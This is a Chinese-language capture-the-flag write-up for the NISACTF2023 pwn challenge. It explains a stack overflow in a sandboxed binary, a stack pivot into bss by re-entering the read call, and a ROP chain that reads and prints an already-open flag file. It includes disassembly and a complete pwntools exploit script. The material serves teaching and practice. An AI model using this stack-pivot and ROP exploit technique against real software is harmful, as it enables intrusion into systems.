NISACTF2023 WP
前言
2年多没玩CTF了,pwn显得手生了不少,我的PWN环境已经在硬盘的某个角落里吃灰了。今天参加了一场校赛,捣鼓了一下午,Reverse和PWN都AK了。其实比赛是新手向,没啥难度,不过有道PWN设计的比较巧妙,got了两个tips,也就是今天将要分享的。
基本信息
64位程序,只开启了栈不可执行保护。
分析
显然漏洞点是栈溢出,能溢出的大小只有0x28字节。同时注意到程序开启了沙箱规则
禁止使用特定的系统调用 e x e c v e \textcolor{cornflowerblue}{execve} execve、 e x e c v e a t \textcolor{cornflowerblue}{execveat} execveat和某个范围内的指令。
已知flag在同目录下的flag文件里,并且程序中引用了 o p e n \textcolor{cornflowerblue}{open} open、 r e a d \textcolor{cornflowerblue}{read} read、 p u t s \textcolor{cornflowerblue}{puts} puts等函数,只要有这3个就足够了。
利用思路就是构造 R o p c h a i n 去读取 f l a g 到某个地址上,然后将其打印出来。 \textcolor{green}{利用思路就是构造Ropchain去读取flag到某个地址上,然后将其打印出来。} 利用思路就是构造Ropchain去读取flag到某个地址上,然后将其打印出来。
但是浅尝之后发现溢出的大小不足以构造这样的Ropchain,遂考虑进行栈迁移。通常使用栈迁移的gadgets为 l e a v e ; r e t \textcolor{orange}{leave;ret} leave;ret,我打算在bss段(0x4040E8+0x80)中重建新的栈。在栈迁移之前应该在新栈中就已布置好Ropchain,但是直接用常规的栈迁移方式同样受限于溢出的大小不足。
所以这里就出现了一个小tips,我们来看看 m a i n \textcolor{cornflowerblue}{main} main函数的汇编代码:
.text:00000000004012E0 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000004012E0 public main
.text:00000000004012E0 main proc near ; DATA XREF: _start+21↑o
.text:00000000004012E0
.text:00000000004012E0 buf = byte ptr -40h
.text:00000000004012E0 var_4 = dword ptr -4
.text:00000000004012E0
.text:00000000004012E0 ; __unwind {
.text:00000000004012E0 F3 0F 1E FA endbr64
.text:00000000004012E4 55 push rbp
.text:00000000004012E5 48 89 E5 mov rbp, rsp
.text:00000000004012E8 48 83 EC 40 sub rsp, 40h
.text:00000000004012EC B8 00 00 00 00 mov eax, 0
.text:00000000004012F1 E8 7B FF FF FF call init
.text:00000000004012F6 BE 00 00 00 00 mov esi, 0 ; oflag
.text:00000000004012FB 48 8D 3D 06 0D 00 00 lea rdi, file ; "flag"
.text:0000000000401302 B8 00 00 00 00 mov eax, 0
.text:0000000000401307 E8 E4 FD FF FF call _open
.text:000000000040130C 89 45 FC mov [rbp+var_4], eax
.text:000000000040130F 48 8D 3D FA 0C 00 00 lea rdi, s ; "We opened flag, no need to thank."
.text:0000000000401316 E8 85 FD FF FF call _puts
.text:000000000040131B 48 8D 3D 10 0D 00 00 lea rdi, aNowPleaseSignI ; "Now please sign in ~"
.text:0000000000401322 E8 79 FD FF FF call _puts
.text:0000000000401327 48 8D 3D 19 0D 00 00 lea rdi, format ; ">> "
.text:000000000040132E B8 00 00 00 00 mov eax, 0
.text:0000000000401333 E8 78 FD FF FF call _printf
.text:0000000000401338 48 8D 45 C0 lea rax, [rbp+buf]
.text:000000000040133C BA 68 00 00 00 mov edx, 68h ; 'h' ; nbytes
.text:0000000000401341 48 89 C6 mov rsi, rax ; buf
.text:0000000000401344 BF 00 00 00 00 mov edi, 0 ; fd
.text:0000000000401349 E8 72 FD FF FF call _read
.text:000000000040134E B8 00 00 00 00 mov eax, 0
.text:0000000000401353 C9 leave
.text:0000000000401354 C3 retn
.text:0000000000401354 ; } // starts at 4012E0
.text:0000000000401354 main endp
在**@line:27**,会将 [ r b p − 0 x 40 ] \textcolor{orange}{[rbp-0x40]} [rbp−0x40]作为 r e a d \textcolor{cornflowerblue}{read} read读入的地址,这一处可以用来向新栈中布置Ropchain,然后再利用常规的栈迁移gadgets将旧的栈迁移到新的栈,这是我想说的第一个点。
例如,我想将旧的栈迁移到 0 x 4040 E 8 + 0 x 80 \textcolor{orange}{0x4040E8+0x80} 0x4040E8+0x80位置,在第一次溢出的时候将rbp的值覆盖为 0 x 4040 E 8 + 0 x 80 − 0 x 40 \textcolor{orange}{0x4040E8+0x80-0x40} 0x4040E8+0x80−0x40,返回地址覆盖为0x401338,这样我就相当于拥有0x68个有效溢出字节的能力了,而此前只有0x28个有效溢出字节。
这一步的payload:
pop_rdi_ret = 0x4013c3
pop_rsi_r15_ret = 0x4013c1
pop_rbx_ret=0x4011DD
leave_ret=0x40126f
puts_plt = 0x4010A4
printf_plt = 0x04010B4
read_plt = 0x4010C0
buf = 0x404060
stack = 0x4040E8+0x80
pay1 = '\x00'*64+p64(stack)+p64(0x401338)
p.sendlineafter('>> ',pay1)
为了合理布局栈,需要通过调试确定执行完毕0x401353的指令后rsp的位置,首先输入一些垃圾值: ′ A ’ ∗ 0 x 10 \textcolor{orange}{'A’*0x10} ′A’∗0x10
RSI指向的是 r e a d \textcolor{cornflowerblue}{read} read写入的地址此时的RSP指向的是即将ret的地址,两者差值0x48,所以这里可以理解为在输入0x48个字节之后就会覆盖返回地址。所以这第二次输入就可以构造正常的Ropchain了,不过这里需要舍弃 o p e n \textcolor{cornflowerblue}{open} open步骤,否则又超出0x68个字节了,同时还找不到合适的gadgets将rax的值传递到rdi寄存器中。正常的RopChain是
fd=open('flag') // 需要省略这一步,因为加上这一步的gadgets,导致总的Ropchain长度超过0x68字节
read(fd,buf,n)
puts(buf)
省略的这一步可以用以下gadgets代替:
pay2=p64(pop_rdi_ret)+p64(3)
完整的Ropchain:
pay2=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_r15_ret)+p64(buf)+p64(0)+p64(read_plt)+p64(pop_rdi_ret)+p64(buf)+p64(puts_plt)
pay2+=p64(pop_rbx_ret)+p64(0x404128-8)+p64(leave_ret)
原理是,回顾上面的main函数汇编代码,第一次运行程序的时候,在 @lin:18打开了flag文件,此时就会返回一个文件号,这个文件号是递增的,源程序只用了3个文件号:stdin、stdout和stderr,分别对应0、1、2,所以flag的文件号就是3,在源程序没有退出前,这个文件号是一直有效的。这是我想说的第二点。
通过这样的方式完成了整个漏洞利用,并获取了flag。
完整EXP
from pwn import*
context.log_level = 1
local = True
if local:
p = process('biexiangtao')
else:
p = remote('10.144.00.228',34757)
pop_rdi_ret = 0x4013c3
pop_rsi_r15_ret = 0x4013c1
pop_rbx_ret=0x4011DD
leave_ret=0x40126f
puts_plt = 0x4010A4
printf_plt = 0x04010B4
read_plt = 0x4010C0
buf = 0x404060
stack = 0x4040E8+0x80
pay1 = '\x00'*64+p64(stack)+p64(0x401338)
p.sendlineafter('>> ',pay1)
pay2=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_r15_ret)+p64(buf)+p64(0)+p64(read_plt)+p64(pop_rdi_ret)+p64(buf)+p64(puts_plt)
pay2+=p64(pop_rbx_ret)+p64(0x404128-8)+p64(leave_ret)
p.send(pay2)
p.interactive()